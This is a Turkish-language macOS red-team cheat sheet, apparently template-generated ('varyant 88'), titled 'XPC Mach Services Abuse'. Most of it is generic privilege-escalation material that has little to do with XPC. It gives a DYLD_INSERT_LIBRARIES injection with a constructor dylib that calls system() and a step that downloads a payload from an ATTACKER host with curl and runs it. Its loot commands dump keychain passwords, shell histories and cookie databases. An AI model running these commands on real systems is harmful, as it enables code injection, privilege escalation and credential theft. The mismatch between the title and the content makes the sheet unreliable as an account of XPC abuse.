macOS XPC Mach Services Abuse

macos privesc

macOS XPC Mach Services Abuse macOS güvenlik modeli (SIP, TCC, Gatekeeper, entitlements, XPC) içinde suistimal notudur. İmza ve privacy sınırlarını ölçüp injection veya hassas veri erişimini kanıtla.

Metodoloji

1. SIP/TCC/Gatekeeper/codesign durumunu ölç.

2. macOS XPC Mach Services Abuse için launch item, entitlement ve library/XPC yüzeyini tara.

3. Injection veya privacy bypass hipotezini doğrula.

4. Keychain/TCC/hassas dosya kanıtını al.

Durum

macOS XPC Mach Services Abuse macOS red-team / privesc notudur. SIP, TCC, Gatekeeper ve entitlements haritası olmadan injection denemek kör ateştir.

id; whoami; hostname

sw_vers; uname -a

csrutil status

spctl --status

system_profiler SPSoftwareDataType | head -n 40

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons 2>/dev/null

ps aux | head -n 50

lsof -iTCP -sTCP:LISTEN -nP 2>/dev/null | head

Injection / XPC / library

DYLD hijack, XPC client check zayıflığı ve script runtime injection sık privesc/persist yoludur.

codesign -d --entitlements :- /Applications/App.app 2>&1 | rg -i 'disable-library|get-task|library'

otool -L /Applications/App.app/Contents/MacOS/* 2>/dev/null | head

otool -l /Applications/App.app/Contents/MacOS/* 2>/dev/null | rg -A2 'LC_RPATH|LC_LOAD_DYLIB' | head -n 40

DYLD_INSERT_LIBRARIES=/tmp/evil.dylib /Applications/App.app/Contents/MacOS/App

DYLD_PRINT_LIBRARIES=1 /Applications/App.app/Contents/MacOS/App 2>&1 | head

launchctl print system/com.example.service 2>/dev/null | head

ls /System/Library/LaunchDaemons /Library/LaunchDaemons 2>/dev/null | head

nm /Applications/App.app/Contents/MacOS/* 2>/dev/null | rg -i 'xpc|mach' | head

#include <stdio.h>
__attribute__((constructor)) void init(){
  system("id > /tmp/pwned");
}

clang -dynamiclib -o /tmp/evil.dylib evil.c

Sistem / binary / debug

Mach-O, IOKit userclient ve hassas konumlar kernel/userland kesişimini açar.

file /Applications/App.app/Contents/MacOS/*

lipo -info /Applications/App.app/Contents/MacOS/* 2>/dev/null

nm -m /Applications/App.app/Contents/MacOS/* 2>/dev/null | head

vmmap $(pgrep -n App) 2>/dev/null | head

lldb -p $(pgrep -n App)

nvram -p

kextstat 2>/dev/null | head

systemextensionsctl list 2>/dev/null

ioreg -l | rg -i 'IOUserClient|IOKit' | head

ls -la /var/db /private/var/db /Library/Preferences 2>/dev/null | head

find /Users /Library -name '*.plist' 2>/dev/null | head -n 40

Privesc hızlı tarama

find / -perm -4000 2>/dev/null | head

ls -la /usr/local/bin /opt 2>/dev/null

crontab -l; ls /etc/cron* 2>/dev/null

dscl . -read /Groups/admin GroupMembership

sudo -l 2>/dev/null

Hassas veri ve loot

ls -la ~/Library/Keychains ~/.ssh 2>/dev/null

cat ~/.bash_history ~/.zsh_history 2>/dev/null | tail -n 50

defaults read 2>/dev/null | head

find ~/Library -name '*.sqlite' -o -name '*cookie*' 2>/dev/null | head

security find-internet-password -g 2>/dev/null | head

Manuel doğrulama

# macOS XPC Mach Services Abuse — varyant 88

ls -la@ ~/Library ~/Documents 2>/dev/null | head

mdfind 'kMDItemKind == Application' | head

defaults read com.apple.dock 2>/dev/null | head

log show --predicate 'eventMessage contains "tcc"' --last 1h 2>/dev/null | head

fs_usage -w -f filesys 2>/dev/null | head

sample App 3 2>/dev/null | head

Payload taşıma

python3 -m http.server 8000

curl -O http://ATTACKER/evil.dylib

chmod +x ./payload && ./payload

Checklist

[ ] SIP/TCC/Gatekeeper durumu ölçüldü
[ ] Launch item / entitlements / codesign tarandı
[ ] Injection veya XPC hipotezi doğrulandı
[ ] Keychain/TCC/hassas veri loot alındı
[ ] Kalıcılık veya yüksek yetki kanıtlandı

Notlar

macOS XPC Mach Services Abuse sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.